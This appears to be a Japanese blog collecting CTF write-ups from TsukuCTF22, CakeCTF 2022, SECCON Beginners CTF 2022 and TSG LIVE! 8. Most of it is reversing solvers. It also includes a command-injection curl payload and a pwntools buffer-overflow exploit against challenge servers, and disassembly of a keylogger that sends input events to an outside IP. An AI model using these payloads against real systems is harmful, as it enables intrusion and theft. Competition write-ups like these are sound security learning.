# 初期状態 127.0.0.1:6379> keys * 1) "9c513303-8a9b-4eb1-bddc-b55f877c54c4" 127.0.0.1:6379> get "9c513303-8a9b-4eb1-bddc-b55f877c54c4" "{\"id\": \"9c513303-8a9b-4eb1-bddc-b55f877c54c4\", \"name\": \"TsukuCTF22{dummy flag}\"}" # 名前を登録した後 127.0.0.1:6379> get "9c513303-8a9b-4eb1-bddc-b55f877c54c4" "{\"id\": \"c74a552f-78d5-4ea8-ac2c-21a3abfb6916\", \"name\": \"taro\"}"
@app.route("/register", methods=["POST"]) def register_post(): name = request.form.get("name") # 入力した名前でFlagを上書きしている redis.set(id, json.dumps({"id": str(uuid.uuid4()), "name": name})) redis.expire(id, 100)
SSRF脆弱性を利用するためには名前を登録する必要があり、名前を登録するとRedis上からFlagが消滅してしまいます。よってRedisからFlagを取得することはできないと結論付け、その後も色々な解き方を考えて試していたのですが、解くことはできませんでした。
実際の問題サーバではRedis上にもFlagが残っていたようです*2。理由については理解できていないので、わかる方がいれば教えていただけると嬉しいです。
追記 (2022-10-25):
公式Writeupにて、なぜこのような問題が起こったのか取り上げられていました。詳しく知りたい方は是非読んでみてください。
Reversing
GrandpaMemory (17 solves)
祖父からお誕生プレゼントが入った鍵付きの箱とa.outという名前のファイルをもらった。これを開けるには数字を入力すれば良いらしい。ヒントはこのファイルの計算結果が鍵であること、このファイルは1971年に冷蔵庫ほどもあるミニコンピューターで作成された実行ファイルであると言われた。
配布ファイルに対して file
コマンドを実行すると、PDP-11という昔のミニコンピュータの実行ファイルであることがわかります。
$ file a.out a.out: PDP-11 old overlay
逆アセンブルできないか調べたところ、pdp11dasmというツールを見つけることができました。
; ; pdp11dasm version 0.0.3 ; disassembly of a.out ; 000000: 000405 br 14 ; .. ; 000002: 000064 invalid opcode ; 4. 000004: 000000 halt ; .. 000006: 000000 halt ; .. 000010: 000000 halt ; .. 000012: 000000 halt ; .. ; 000014: 005001 clr r1 ; .. 000016: 005002 clr r2 ; .. 000020: 005201 inc r1 ; .. 000022: 005202 inc r2 ; .. 000024: 006301 asl r1 ; A. 000026: 006301 asl r1 ; A. 000030: 006301 asl r1 ; A. 000032: 006301 asl r1 ; A. 000034: 006302 asl r2 ; B. 000036: 060102 add r1,r2 ; B` 000040: 000777 br 40 ; .. ; 000042: 060560 071563 add r5,71563(r0) ; pass 000046: 062167 064440 add (r1)+,64512 ; wd i 000052: 020163 067151 cmp r1,67151(r3) ; s in 000056: 051040 bis (r0),-(r0) ; R 000060: 020062 005000 cmp r0,5000(r2) ; 2 ..
何らかの計算処理と passwd is in R2
という文字列を確認することができます。
複数のWebページを参考に処理内容を読み解き、最終的にR2レジスタの値が 18
になることがわかりました。
TsukuCTF22{18}
CakeCTF 2022 Writeup
yoshikingさん, theoremoonさん, ptr-yudaiさん主催のCakeCTF 2022に参加させていただきました。やっぱりCTFは楽しい!と思える良問の数々で、すごく面白かったです。主催の皆さん、ありがとうございました!🍰
追記: luau (rev)のThird Bloodで賞品をいただきました。ありがとうございます!
#CakeCTF の賞品が届きました。
— mopi (@mopisec) 2022年10月18日
どれもデザインが凝っていて凄いです。
運営・スポンサーの皆さま、ありがとうございます! pic.twitter.com/5UgrP4V3JM
- [welcome] Welcome (676 solves)
- [warmup / rev] nimrev (246 solves)
- [rev] luau (64 solves)
- [forensics / rev] zundamon (20 solves)
- [survey] Survey (226 solves)
[welcome] Welcome (676 solves)
Get the flag in Discord
問題文に書かれている通り、DiscordからFlagが得られる。
Flag: CakeCTF{p13a53_tast3_0ur_5p3cia1_cak35}
[warmup / rev] nimrev (246 solves)
Have you ever analysed programs written in languages other than C/C++?
NimMainModule
関数に目を通すと、eqStrings
が呼び出されている場所を見つけることができる。
.text:000000000000AFB8 mov rdx, [rbp+flag] .text:000000000000AFBC mov rax, [rbp+input] .text:000000000000AFC0 mov rsi, rdx .text:000000000000AFC3 mov rdi, rax .text:000000000000AFC6 call eqStrings
入力とそのまま比較していることから、Flagが eqStrings
に渡されていると推測することができる。ブレークポイントを設置して引数の内容を確認することでFlagが得られる。
gdb-peda$ x/24c 0x7ffff7d0f0e0 0x7ffff7d0f0e0: 0x43 0x61 0x6b 0x65 0x43 0x54 0x46 0x7b 0x7ffff7d0f0e8: 0x73 0x30 0x6d 0x33 0x74 0x31 0x6d 0x33 0x7ffff7d0f0f0: 0x73 0x5f 0x6e 0x30 0x74 0x5f 0x43 0x7d
Flag: CakeCTF{s0m3t1m3s_n0t_C}
[rev] luau (64 solves)
Aloha! This is a luau for reverse engineerers!
LuaソースコードとLua 5.3のバイトコードが配布されている。
libflag.lua: Lua bytecode, version 5.3 main.lua: ASCII text
Luaソースコードを確認してみると、libflag.checkFlag
という関数が呼び出されており、引数として入力内容と "CakeCTF 2022"
という文字列が渡されていることがわかる。Luaバイトコードのデコンパイラがないか探してみると、luadecというものが見つかったので、手元でビルドした上で試してみた。
# luadecをビルドする $ git clone https://github.com/viruscamp/luadec $ cd luadec $ git submodule update --init lua-5.3 $ cd lua-5.3 $ make linux $ cd ../luadec $ make LUAVER=5.3 # luadecを実行する $ ./luadec ./libflag.lua cannot find blockend > 5 , pc = 4, f->sizecode = 5 cannot find blockend > 110 , pc = 109, f->sizecode = 110 -- Decompiled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec -- Command line: ./libflag.lua Segmentation fault (core dumped)
見ての通り、正常にデコンパイルすることができなかったので、逆アセンブル機能を試してみた。
$ ./luadec -dis ./libflag.lua cannot find blockend > 5 , pc = 4, f->sizecode = 5 cannot find blockend > 110 , pc = 109, f->sizecode = 110 ; Disassembled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec ; Command line: -dis ./libflag.lua ; Function: 0 ; Defined at line: 0 ; #Upvalues: 1 ; #Parameters: 0 ; Is_vararg: 2 ; Max Stack Size: 2 0 [-]: CLOSURE R0 0 ; R0 := closure(Function #0_0) 1 [-]: NEWTABLE R1 0 1 ; R1 := {} (size = 0,1) 2 [-]: SETTABLE R1 K0 R0 ; R1["checkFlag"] := R0 3 [-]: RETURN R1 2 ; return R1 4 [-]: RETURN R0 1 ; return ; Function: 0_0 ; Defined at line: 1 ; #Upvalues: 1 ; #Parameters: 2 ; Is_vararg: 0 ; Max Stack Size: 41 0 [-]: NEWTABLE R2 26 0 ; R2 := {} (size = 26,0) 1 [-]: LOADK R3 K0 ; R3 := 62 2 [-]: LOADK R4 K1 ; R4 := 85 3 [-]: LOADK R5 K2 ; R5 := 25 4 [-]: LOADK R6 K3 ; R6 := 84 **長いので省略**
エラーは先ほどと変わらず表示されているが、正常に逆アセンブルできているように見えたので、構わず解析を進めることにした。表示されたコードを最初から読んでいくと、まず最初に数値をR3~R40に代入し、それをR2というリストに格納していることがわかる。
1 [-]: LOADK R3 K0 ; R3 := 62 2 [-]: LOADK R4 K1 ; R4 := 85 3 [-]: LOADK R5 K2 ; R5 := 25 . . . 36 [-]: LOADK R38 K30 ; R38 := 89 37 [-]: LOADK R39 K31 ; R39 := 34 38 [-]: LOADK R40 K31 ; R40 := 34 39 [-]: SETLIST R2 38 1 ; R2[0] to R2[37] := R3 to R40 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=2, b=38, c=1, FPF=50
次にR0(第一引数)とR2の長さが等しいか確認する処理があり、更にその次にR0およびR1(第二引数)をバイトのリストに変換する処理が記述されていた。
59 [-]: SETTABLE R3 R8 R9 ; R3[R8] := R9 ... 72 [-]: SETTABLE R4 R8 R9 ; R4[R8] := R9
その後、R3およびR4の順序を逆順に並び替える処理、そしてR3とR4でXORデコードを行っている処理が記述されていた。
82 [-]: GETTABLE R13 R3 R8 ; R13 := R3[R8] 83 [-]: GETTABLE R14 R3 R12 ; R14 := R3[R12] 84 [-]: SETTABLE R3 R8 R14 ; R3[R8] := R14 85 [-]: SETTABLE R3 R12 R13 ; R3[R12] := R13 ... 92 [-]: GETTABLE R9 R3 R8 ; R9 := R3[R8] 93 [-]: SUB R10 R8 K32 ; R10 := R8 - 1 94 [-]: LEN R11 R4 ; R11 := #R4 95 [-]: MOD R10 R10 R11 ; R10 := R10 % R11 96 [-]: ADD R10 K32 R10 ; R10 := 1 + R10 97 [-]: GETTABLE R10 R4 R10 ; R10 := R4[R10] 98 [-]: BXOR R9 R9 R10 ; R9 := R9 ~ R10
以下が上記で判明した内容をもとに作成したソルバです。
#!/usr/bin/env python3 r2 = [62, 85, 25, 84, 47, 56, 118, 71, 109, 0, 90, 71, 115, 9, 30, 58, 32, 101, 40, 20, 66, 111, 3, 92, 119, 22, 90, 11, 119, 35, 61, 102, 102, 115, 87, 89, 34, 34] r4 = bytearray(b"CakeCTF 2022") flag = '' for i in range(len(r2)): flag += chr(r2[i] ^ r4[i % len(r4)]) print(flag[::-1])
Flag: CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}
3番目に解いたのでダメかな、と思いきやPrizeを貰えることになって、すごく嬉しかったです!*1
[forensics / rev] zundamon (20 solves)
I found a suspicious process named "zundamon" running on my computer. Can you investigate the communication logs to confirm that no information has been leaked? This program may harm your computer. Do not run it outside sandbox.
実行ファイル (ELF) とpcapngファイルが配布されている。
evidence.pcapng: pcapng capture file - version 1.0 zundamon: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7e0fd4acc0c6f7aed55b6aab42ccd63a2c7ee871, for GNU/Linux 3.2.0, not stripped
zundamon
という実行ファイルを解析すると、/dev/input/
下のデバイスファイルを読み取り、その内容を 164.70.70.9
宛てに送信するような機能を持っていることがわかる。
.text:0000000000001568 mov rcx, cs:cmp ; cmp .text:000000000000156F lea rdx, is_char ; selector .text:0000000000001576 lea rdi, dir ; "/dev/input" .text:000000000000157D mov rax, fs:28h .text:0000000000001586 mov [rsp+2048h+var_30], rax .text:000000000000158E xor eax, eax .text:0000000000001590 lea rsi, [rsp+2048h+namelist] ; namelist .text:0000000000001595 call _scandir ... .text:0000000000001737 lea rdi, cp ; "164.70.70.9" .text:000000000000173E mov [rsp+38h+var_38], 0EB180002h .text:0000000000001745 call _inet_addr ... .text:0000000000001AB8 mov rsi, r14 ; buf .text:0000000000001ABB mov edx, 3072 ; nbytes .text:0000000000001AC0 mov edi, r12d ; fd .text:0000000000001AC3 call _read ... .text:00000000000019EB mov edx, 2 ; n .text:00000000000019F0 mov rsi, r12 ; buf .text:00000000000019F3 mov edi, ebp ; fd .text:00000000000019F5 call _write
Wiresharkを用いてペイロードを抽出した上で、内容を読みやすくするスクリプトを作成し実行しました。
#!/usr/bin/env python3 import struct KNOWN_VAR = [b'PING', b'+PONG', b'RPUSH', b'd8:f2:ca:ce:44:8d', b'*3', b'$5', b'$17', b'$3', b'*1', b'$4'] payload = bytes.fromhex(open('zundamon/payload.raw', 'r').read()) payload = payload.split(b'\r\n') dat = [] for elem in payload: if elem != b'' and elem not in KNOWN_VAR and elem[0] != 58: dat.append(chr(elem[0]).encode()) dat = b''.join(dat) # 長くなったので、一部省略しています # 完全版: https://gist.github.com/mopisec/be346d276bbc7b83be9a7c69a681bbcd for i in range(0, len(payload), EVENT_SIZE): print(get_key_from_value(key_dict, struct.unpack(EVENT_FORMAT, dat[i:i+EVENT_SIZE])[0]))
$ python3 ./nanoda_solve.py KEY_LEFTCTRL KEY_LEFTCTRL ... KEY_LEFTSHIFT KEY_C KEY_A KEY_A KEY_K KEY_K KEY_E KEY_E KEY_LEFTSHIFT KEY_C KEY_C KEY_T KEY_T KEY_F KEY_F KEY_RIGHTBRACE ...
Flag: CakeCTF{b3_C4r3fuL_0f_M4l1c10us_k3yL0gg3r}
とても面白い問題でした、なのだ!😊
[survey] Survey (226 solves)
Surveyを提出することでFlagが得られる。
Flag: CakeCTF{ar3_y0u_5ati5fi3d_with_thi5_y3ar5_cak3?}
*1:語彙力......
SECCON Beginners CTF 2022 Writeup
はじめに
今年は1人チームで参加して、reversingを中心に何問か解いていました。reversingは全問解けて、hardの問題でFirst Bloodを取ることもできたので良かったです。
運営の皆さま、素晴らしいCTFを開催してくださりありがとうございました!
web
Util
配布されたソースコードを読むことで、標的となるウェブサービスにはOSコマンドインジェクションが可能な脆弱性が存在することがわかります。クライアントサイドにはJavaScriptを用いた簡単な入力内容のチェックが存在しますが、以下のようにcurlで直接POSTすることでチェックを回避し解くことができます。
curl -X POST -H "Content-Type: application/json" -d '{"address": "127.0.0.1;cat /flag_A74FIBkN9sELAjOc.txt"}' https://util.quals.beginners.seccon.jp/util/ping
pwnable
BeginnersBof
バッファオーバーフローを引き起こして win
関数を呼び出すことでFlagが得られます。
from pwn import * from struct import pack elf = ELF('./chall') addr_win = elf.symbols['win'] r = remote('beginnersbof.quals.beginners.seccon.jp', 9000) payload = b'A' * 40 payload += pack("<Q", addr_win) r.sendline(b'100') r.sendline(payload) r.interactive()
reversing
Quiz
暗号化/エンコード等されていないFlagが実行ファイルに含まれているので、strings
などのツールを使って解けます。
strings ./quiz | grep ctf4b
WinTLS
Windowsのスレッドローカルストレージというスレッド単位で利用することができる静的な変数を題材とした問題です。CreateThread
関数によって呼び出されている t1
, t2
という関数の処理を読み解くことで、Flagを求めることができます。
tls1 = 'c4{fAPu8#FHh2+0cyo8$SWJH3a8X' tls2 = 'tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}' flag = [''] * 0xff x = 0 for i in range(60): if i % 3 == 0 or i % 5 == 0: flag[i] = tls1[x] x += 1 x = 0 for i in range(60): if i % 3 != 0 and i % 5 != 0: flag[i] = tls2[x] x += 1 print(''.join(flag))
Recursive
問題名の通り、再帰関数を用いて入力が正しいか(Flagかどうか)判定するプログラムが配布されます。ハードコードされたバイト列を抽出し、以下のようにFlagを求めるスクリプトを作成/実行して解くことができます。
flag = '' table = bytes.fromhex('6374602A6634282B62633935222E3831627B686D7233632F7D72403A7B263B3531346F642A3C682C6E27646D78773F6C656728796F296E652B6A2D7B2860712F7272337C2824302B35732E7A7B5F6E63617572247B733176352521702968217127743C3D6C405F386839335F776F63346C64253E3F6362613C646167787C6C3C622F792C79606B2D377B3D3B7B26382C387535246B6B637D403771403C746D30333A262C663176796227382564796C3228673F3731377123753E66772829766F6F243667293A295F635F2B38762E67626D28252477283C683A312163277275767D4033607961217235263B357A5F6F676D306139633233736D772D2E69237C777B386B65706676773A337C3366353C65403A7D2A2C713E73672162646B72307837403E682F352A68693C373439277C7B29736A313B302C2469672676293D7430666E6B7C30336A227D37727B7D74697D3F5F3C7377786A75316B216C266462216A3A7D217A7D362A60315F7B6631734033642C76696F34353C5F3476635F76333E6875333E2B62797671232340662B296C633931772B39693723763C723B72722475402861743E766E3A3762606A736D67366D797B2B396D5F2D727970705F75356E2A362E7D66387070673C6D2D267171356B33663F3D75317D6D5F3F6E393C7C65742A2D2F256667682E316D28405F3376663469286E2973326A7667306D34') def check(input, x): global flag if len(input) == 1: flag += chr(table[x]) else: a = int(len(input) / 2) check(input[:a], x) check(input[a:], x + a * a) check('A'*38, 0) print(flag)
Ransom
実行ファイル、暗号化されていると思われるファイル、pcapファイルが配布されます。実行ファイルの処理を読み解くことで、ファイルがRC4によって暗号化されていることがわかり、更に鍵はソケット通信で外部に送信されていることがわかります。Wireshark等のツールでpcapファイルから鍵を探し出し、それを用いてファイル内のデータを復号することでFlagが得られます。
from Crypto.Cipher import ARC4 key = b'rgUAvvyfyApNPEYg' enc = b'\x2b\xa9\xf3\x6f\xa2\x2e\xcd\xf3\x78\xcc\xb7\xa0\xde\x6d\xb1\xd4\x24\x3c\x8a\x89\xa3\xce\xab\x30\x7f\xc2\xb9\x0c\xb9\xf4\xe7\xda\x25\xcd\xfc\x4e\xc7\x9e\x7e\x43\x2b\x3b\xdc\x09\x80\x96\x95\xf6\x76\x10' cipher = ARC4.new(key) dec = cipher.decrypt(enc) print(dec)
please_not_debug_me
簡単なパッカーでパックされている実行ファイルが配布されているので、まずはアンパックしましょう。
dat = open('please_not_debug_me','rb').read() dat = dat[0x3020:] dat = bytearray(dat) for i in range(len(dat)): dat[i] = dat[i] ^ 0x16 open('unpacked.elf','wb').write(dat)
抽出した実行ファイルを解析すると、RC4で入力を暗号化して、ハードコードされたバイト列と暗号化後のデータを比較することで入力が正しい(Flagかどうか)判定していることがわかります。以下のようなソルバを書くことでFlagを復号化することができます。
from Crypto.Cipher import ARC4 key = bytearray(bytes.fromhex('6231346265376032693C686F6A3B6D6E7126232B232D21242C2F2F787924292F4411164510101F43')) enc = bytes.fromhex('27D9653A0F25E40E818A59BC33FBF9FC05C63301E2B0BE8E4A9CA94673B8487D7F7322ECDBDC98D99061807C6CB336423F9044850D95B1EEFA94850CB99F') for i in range(40): key[i] = key[i] ^ i cipher = ARC4.new(bytes(key)) dec = cipher.decrypt(enc) print(dec)
TSG LIVE! 8 CTF Writeup
Revしか解けなかった (& 取り組めなかった) ので、もっと早解きできるように精進していきます。
TSGの皆さま、素晴らしいCTF (+生放送) の企画・運営をしていただき、ありがとうございました!
DNS ROPOB (Rev)
静的解析
静的解析を妨害する目的だと思われるコードが含まれた実行ファイルが配布されます。 冷静に逆アセンブル結果を読んでいくと、入力を所定のキーでXORエンコードしたものと、ハードコードされているバイト列同士をXORエンコードしたものを比較することで、Flagが正しいかどうか検証していることがわかります。 以下のようにFlagを1文字ずつ求めるスクリプトを書けば、Flagが得られます。
ソルバ
enc = [0x12, 0x18, 0x10, 0x48, 0x99, 0x49, 0x49, 0x93, 0x48, 0x59, 0x59, 0xF3, 0xA8, 0xE8, 0x49, 0xD4, 0xC6, 0xB5, 0x68, 0x0A, 0x8C, 0x85, 0x96, 0xE7, 0xF8, 0x69, 0x57, 0x43, 0xA3, 0x76, 0x8D, 0x7C] seed = [0x37, 0x28, 0x26, 0x68, 0xBC, 0x6C, 0x43, 0xB9, 0x66, 0x5B, 0x45, 0xCF, 0xB0, 0xE5, 0x4B, 0xC7, 0xDE, 0xA4, 0x7C, 0x0D, 0xA2, 0x80, 0x95, 0xEB, 0xE4, 0x55, 0x74, 0x6F, 0x82, 0x5A, 0xBE, 0x62] flag = '' key = [0x63, 0x71] for i in range(0x20): flag += chr(enc[i] ^ seed[i] ^ key[(i+1)%2]) print(flag)